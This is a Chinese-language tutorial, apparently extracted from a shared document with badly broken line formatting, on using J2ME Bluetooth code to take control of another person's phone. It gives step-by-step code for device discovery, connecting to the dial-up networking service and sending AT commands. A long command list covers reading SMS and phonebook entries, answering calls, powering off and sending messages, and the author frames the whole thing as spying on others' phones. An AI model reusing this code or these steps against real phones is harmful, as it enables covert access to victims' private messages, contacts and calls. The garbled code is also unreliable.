J2ME手机蓝牙间谍控制之我所见Word格式.docx
《J2ME手机蓝牙间谍控制之我所见Word格式.docx》由会员分享,可在线阅读,更多相关《J2ME手机蓝牙间谍控制之我所见Word格式.docx(8页珍藏版)》请在冰点文库上搜索。
javax.bluetooth.LocalDevice"
);
}
catch(Exceptionex){
System.out.println("
操!
我的手机不支持蓝牙"
第二步,如果支持蓝牙,我们就搜索一下,看看我们附近有没有蓝牙设备!
LocalDevicelocalDevice=LocalDevice.getLocalDevice();
discoveryAgent=localDevice.getDiscoveryAgent();
//创建蓝牙搜索代理
discoveryAgent.startInquiry(DiscoveryAgent.GIAC,this);
//开始搜索,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口.
如果搜索到了有新设备,它会调用deviceDiscoverd()方法接收!
publicvoiddeviceDiscovered(RemoteDeviceremoteDevice,DeviceClasscod){
remoteDevices.addElement(remoteDevice);
}catch(Exceptione){
System.out.println("
猪呀!
怎么又错了!
当设备发现时会调用如下方法:
publicvoiddeviceDiscovered(RemoteDeviceremotedevice,DeviceClassdeviceclass){
s=remotedevice.getFriendlyName(false);
//得到好友名称,这个有些时候可能为空,也有可能会报错.
catch(Exception_ex){
s=remotedevice.getBluetoothAddress();
//得到蓝牙地址
catch(Exception_ex2){}
}
当搜索完成时会调用如下方法:
publicvoidinquiryCompleted(intdiscType){
StringinqStatus=null;
if(discType==DiscoveryListener.INQUIRY_COMPLETED){
inqStatus="
老子完成搜索了!
厉害吧!
;
}elseif(discType==DiscoveryListener.INQUIRY_TERMINATED){
讨打,叫我搜就搜,叫我停就停,面子都没有!
}elseif(discType==DiscoveryListener.INQUIRY_ERROR){
啊哦!
老子又挂了!
}
remoteDevices不知道是什么了吧~remoteDevices其实就是---一个Vector,用于存放名称及蓝牙地址的.
第三步,搜索蓝牙服务.
RemoteDevicearemotedevice[]=discoveryAgent.retrieveDevices(x);
//这语句读出以前搜索的设备,x为其参数DiscoveryAgent.CACHED(缓存设备)和DiscoveryAgent.PREKNOWN(已知设备),如果要更新设备名称就按上方法,重新刷新一下面好友名称
UUIDauuid[]={newUUID(0x1103),newUUID(0x0100)};
discoveryAgent.searchServices(null,auuid,aremotedevice[y],this);
//搜索蓝牙设备服务,auuid为指定的服务类型,0x1103代表播号网络服务,aremotedevice[y]指定设备,这里的this是指本类.当然我们要在本类实现DiscoveryListener接口
catch(Exceptionexception){
当发现新服务时会调用如下方法:
publicvoidservicesDiscovered(inti,ServiceRecordaservicerecord[]){
if(aservicerecord.length>
-1){
Objectobj=null;
for(intj=0;
j<
=aservicerecord.length-1;
j++){
Strings=aservicerecord[j1].getConnectionURL(0,false);
//读出的设备服务连接地址
得到服务连接地址!
}else{
没有得到服务连接地址!
又出错了,-_-!
publicfinalvoidserviceSearchCompleted(inti,intj){
if(j!
=1){
没有搜索到任何可用服务!
第四步,连接到设备服务,并实现输入输出.
OutputStreamoutputStream;
InputStreaminputStream;
StreamConnectionstreamConnection;
streamConnection=(StreamConnection)Connector.open(s);
//s为上面getConnectionURL读出的设备服务连接地址
outputStream=streamConnection.openOutputStream();
//创建输出流
inputStream=streamConnection.openInputStream();
//创建输入流
第五步,如果第四步没有什么问题的话.那么恭喜你,你可以完全控制他的手机了.(哈哈哈哈,奸笑中......^_^),下面我们看一下如何控制他的手机.
现在我们就可以用outputStream直输出at命令了.
如:
发送ATA接电话命令.
Strings="
ATA"
outputStream.write(s.getBytes());
outputStream.write(13);
outputStream.write(10);
outputStream.flush();
最可以用inputStream.read()来接返回的消息.
再来回顾一次重点.j2ME本身就是支持蓝牙的,手机是通过播号网络服务方式支持at命令的.只要用j2ME连接到另一台手机的播号网络服务就可以直接发送at命令.可惜网上资料太少了.....
下面我们就介绍一下常用的AT命令(具体看手机支持不支持,大多数是标准的^_^):
AT+CGMI给出模块厂商的标识。
AT+CGMM获得模块标识。
AT+CGMR获得改订的软件版本。
AT+CGSN获得GSM模块的IMEI(国际移动设备标识)序列号。
AT+CSCS选择TE特征设定。
这个命令报告TE用的是哪个状态设定上的ME。
ME于是可以转换每一个输入的或显示的字母。
这个是用来发送、读取或者撰写短信。
AT+WPCS设定电话簿状态。
这个特殊的命令报告通过TE电话簿所用的状态的ME。
ME于是可以转换每一个输入的或者显示的字符串字母。
这个用来读或者写电话簿的入口。
AT+CIMI获得IMSI。
这命令用来读取或者识别SIM卡的IMSI(国际移动签署者标识)。
在读取IMSI之前应该先输入PIN(如果需要PIN的话)。
AT+CCID获得SIM卡的标识。
这个命令使模块读取SIM卡上的EF-CCID文件。
AT+GCAP获得能力表。
(支持的功能)
A/重复上次命令。
只有A/命令不能重复。
这命令重复前一个执行的命令。
AT+CPOF关机。
这个特殊的命令停止GSM软件堆栈和硬件层。
命令AT+CFUN=0的功能与+CPOF相同。
AT+CFUN设定电话机能。
这个命令选择移动站点的机能水平。
AT+CPAS返回移动设备的活动状态。
AT+CMEE报告移动设备的错误。
这个命令决定允许或不允许用结果码“+CMEERROR:
<
xxx>
”或者“+CMSERROR:
”代替简单的“ERROR”。
AT+CKPD小键盘控制。
仿真ME小键盘执行命令。
AT+CCLK时钟管理。
这个命令用来设置或者获得ME真实时钟的当前日期和时间。
AT+CALA警报管理。
这个命令用来设定在ME中的警报日期/时间。
(闹铃)
AT+CRMP铃声旋律播放。
这个命令在模块的蜂鸣器上播放一段旋律。
有两种旋律可用:
到来语音、数据或传真呼叫旋律和到来短信声音。
AT+CRSL设定或获得到来的电话铃声的声音级别。
ATD拨号命令。
这个命令用来设置通话、数据或传真呼叫。
ATH挂机命令。
ATA接电话。
AT+CEER扩展错误报告。
这个命令给出当上一次通话设置失败后中断通话的原因。
AT+VTD给用户提供应用GSM网络发送DTMF(双音多频)双音频。
这个命令用来定义双音频的长度(默认值是300毫秒)。
AT+VTS给用户提供应用GSM网络发送DTMF双音频。
这个命令允许传送双音频。
ATDL重拨上次电话号码。
AT%Dn数据终端就绪(DTR)时自动拨号。
ATS0自动应答。
AT+CICB来电信差。
AT+CSNS单一编号方案。
AT+VGR,AT+VGT增益控制。
这个命令应用于调节喇叭的接收增益和麦克风的传输增益。
AT+CMUT麦克风静音控制。
AT+SPEAKER喇叭/麦克风选择。
这个特殊命令用来选择喇叭和麦克风。
AT+ECHO回音取消。
AT+SIDET侧音修正。
AT+VIP初始化声音参数。
AT+DUI用附加的用户信息拨号。
AT+HUI用附加的用户信息挂机。
AT+RUI接收附加用户信息。
AT+CSQ信号质量。
AT+COPS服务商选择。
AT+CREG网络注册。
获得手机的注册状态。
AT+WOPN读取操作员名字。
AT+CPOL优先操作员列表。
AT+CPIN2输入PIN2。
AT+CPINCPIN的剩余的尝试号码。
AT+CLCK设备锁。
AT+CPWD改变密码。
AT+CPBS选择电话簿记忆存储。
AT+CPBR读取电话簿表目。
AT+CPBF查找电话簿表目。
AT+CPBW写电话簿表目。
AT+CPBP电话簿电话查询。
AT+CPBN电话簿移动动作。
这个特殊命令使电话簿中的条目前移或后移(按字母顺序)
AT+CNUM签署者号码。
AT+WAIP防止在下一次重起时初始化所有的电话簿。
AT+WDCP删除呼叫电话号码。
AT+CSVM设置语音邮件号码。
AT+CSMS选择消息服务。
支持的服务有GSM-MO、SMS-MT、SMS-CB。
AT+CNMA新信息确认应答。
AT+CPMS优先信息存储。
这个命令定义用来读写信息的存储区域。
AT+CMGF优先信息格式。
执行格式有TEXT方式和PDU方式。
AT+CSAS保存设置。
保存+CSAS和+CSMP的参数。
AT+CRES恢复设置。
AT+CSDH显示文本方式的参数。
AT+CNMI新信息指示。
这个命令选择如何从网络上接收短信息。
AT+CMGR读短信。
信息从+CPMS命令设定的存储器读取。
AT+CMGL列出存储的信息。
AT+CMGS发送信息。
AT+CMGW写短信息并存储。
AT+CMSS从存储器中发送信息。
AT+CSMP设置文本模式的参数。
AT+CMGD删除短信息。
删除一个或多个短信息。
AT+CSCA短信服务中心地址。
AT+CSCB选择单元广播信息类型。
AT+WCBM单元广播信息标识。
AT+WMSC信息状态(是否读过、是否发送等等)修正。
AT+WMGO信息覆盖写入。
AT+WUSS不改变SMS状态。
在执行+CMGR或+CMGL后仍保持UNREAD。
值得注意的是,通常有些命令是配合使用,比如发送中文短信(在设置完成手机参数后):
outputStream.write("
AT+CMGF=1"
.getBytes());
//设置信息格式,0为TEXT方式和1为PDU方式。
AT+CMGS='
12345678999'
10"
//发送短信到XX
0x600xa80x590x7d0x000x1a"
//发送中文短信内容
好了,有了以前的知识,您就可以使用蓝牙控制其他的手机了,事先申明,如果拿去偷看别人的手机被打不关我事.此文仅在技术分析,如果更多需要交流请加我的QQ:
24259132,请转载者尊重一下原著的版权,谢谢!